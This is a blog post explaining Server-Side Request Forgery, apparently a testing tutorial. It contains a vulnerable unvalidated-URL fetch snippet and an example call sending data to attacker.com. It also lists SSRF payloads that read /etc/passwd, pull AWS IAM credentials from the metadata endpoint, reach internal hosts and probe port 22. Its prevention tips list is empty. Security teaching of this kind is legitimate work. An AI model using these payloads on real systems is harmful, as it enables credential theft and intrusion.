Samuel K. Addison

Server Side Request Forgery

Server-Side Request Forgery (SSRF) is a type of web application vulnerability that allows an attacker to make unauthorized requests from a web server. This can result in sensitive data being exposed, or even complete compromise of the affected system. In this blog post, we will explore how SSRF attacks work and provide some sample payloads to help you test your applications for this vulnerability.

How SSRF Attacks Work

An SSRF attack occurs when an attacker can control the URL parameter of a web application that makes a request to a third-party server. The attacker can craft a malicious URL that tricks the application into making a request to a server controlled by the attacker. This can be used to exfiltrate sensitive data or perform other unauthorized actions.

For example, suppose a web application has a feature that allows users to enter a URL to fetch data from a remote server. The application might use the following code to make the request:

📋

                    url = request.args.get('url')
                    response = requests.get(url)
                

If the url parameter is not properly validated or sanitized, an attacker can craft a URL that points to a server they control, like this:

📋

                    http://attacker.com?data=sensitive_data
                

When the web application fetches this URL, it will send the sensitive_data to the attacker's server. The attacker can then use this information for malicious purposes.

Sample Payloads

  • Fetch the contents of a local file:
  • 📋
    
                                        http://example.com/?url=file:///etc/passwd
                                    
  • Fetch the contents of a remote file:
  • 📋
    
                                        http://example.com/?url=http://attacker.com/malicious_file.txt
                                    
  • Fetch the contents of a web page that is only accessible from the internal network:
  • 📋
    
                                        http://example.com/?url=http://internal_server.local/private_data.html
                                    
  • Exfiltrate AWS metadata:
  • 📋
    
                                        http://example.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
                                    
  • Scan internal network ports:
  • 📋
    
                                        http://example.com/?url=http://internal_server.local:22
                                    

These are just a few examples of the types of payloads that can be used to test for SSRF vulnerabilities. It is important to note that testing for SSRF vulnerabilities should only be done on systems that you have permission to test on. Testing on systems without permission can result in legal consequences.

Preventing SSRF Attacks

The best way to prevent SSRF attacks is to properly validate and sanitize all user inputs, especially those that are used to make requests to external servers. Here are some tips to prevent SSRF attacks:

Conclusion

SSRF attacks are a serious web application vulnerability that can be used to steal sensitive data or compromise a system. By properly validating and sanitizing all user inputs, you can prevent these types of attacks. Use the sample payloads provided in this blog post to test your applications for SSRF vulnerabilities, and be sure to test on systems that you have permission to test on.

References